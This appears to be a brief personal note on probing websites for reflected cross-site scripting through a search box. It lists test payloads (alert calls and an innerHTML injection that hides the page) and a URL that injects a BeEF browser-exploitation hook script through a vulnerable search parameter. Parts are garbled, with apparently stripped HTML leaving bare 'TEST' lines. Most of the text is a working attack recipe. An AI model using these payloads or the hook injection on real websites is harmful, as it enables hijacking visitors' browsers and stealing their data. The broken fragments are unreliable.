1. Test other website and input the code 

TEST

or alert(‘x’); on search box.
2. The result was show a heading title, but I’m not sure, then
3. Check the selection source to make sure it’s not a bold
4. Check if the query was processed by server without filtering

Test:
a. alert(‘x’);​
b. document.body.innerHTML=”body{visibility:hidden;}

“;
c. 

TEST

Beef XSS Query: Vulnerable XSS
http://127.0.0.1:3000/hook.js

http://www.xss_vulnerable_website/search.asp?keyword=http://127.0.0.1:3000/hook.js&x=0&y=0